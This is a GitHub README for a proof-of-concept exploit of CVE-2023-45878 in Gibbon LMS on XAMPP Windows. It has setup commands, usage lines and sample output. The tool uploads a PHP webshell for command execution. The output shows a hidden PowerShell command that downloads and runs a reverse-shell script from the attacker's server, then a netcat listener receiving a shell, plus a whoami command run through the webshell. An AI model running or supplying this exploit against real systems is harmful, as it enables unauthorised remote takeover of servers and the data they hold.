pauldhaes/cve-2023-45878-pocCVE-2023-45878 poc for gibbon LMS on xampp windows
CVE-2023-45878 poc for gibbon LMS on xampp windows. Upload a webshell called shell.php for command injection. For reverse shell uploads a powershell reverse shell ps1 script called shell.ps1 which is uploaded to the target machine using the shell.php.
Python3 Requests python3 module netcat
pip3 install requests
mkdir CVE-2023-45878
cd CVE-2023-45878
python3 -m venv CVE
source CVE/bin/activate
cd ..
pip3 install requests
Tested on Gibbon LMS that was running in XAMPP windows no AV enabled. Target can be found using the login page of Gibbon example http://gibbon-example/Gibbon-LMS/
python3 reverse.py --reverse-shell -target_url http://target -ip IP -port REV-PORT -srvport SRVPORT
[+] PHP shell uploaded successfully to http://target/shell.php
[+] PowerShell reverse shell script saved to: shell.ps1
[+] The shell is now hosted at shell.ps1
Starting reverse shell listener in background...
Starting netcat listener on ip:REV-PORT...
[+] HTTP server running in the background on port SRVPORT
[+] Executing PHP shell to download and execute shell.ps1
Executing: http://target/shell.php?cmd=powershell%20-nop%20-w%20hidden%20-c%20IEX%20%28New-Object%20Net.WebClient%29.DownloadString%28%27http%3A//IP%3ASRVPORT/shell.ps1%27%29
[+] HTTP server started on http://0.0.0.0:SRVPORT/
TARGET-IP - - [20/Mar/2025 12:59:11] "GET /shell.ps1 HTTP/1.1" 200 -
Connection from TARGET-IP
PS C:\xampp\htdocs\Gibbon-LMS>
python3 reverse.py --single -target_url http://target -command whoami
[+] PHP shell uploaded successfully to http://target/shell.php
[+] Executing PHP command
Executing: http://target/shell.php?whoami
[+] Command executed successfully pres enter
vuln\w.webservice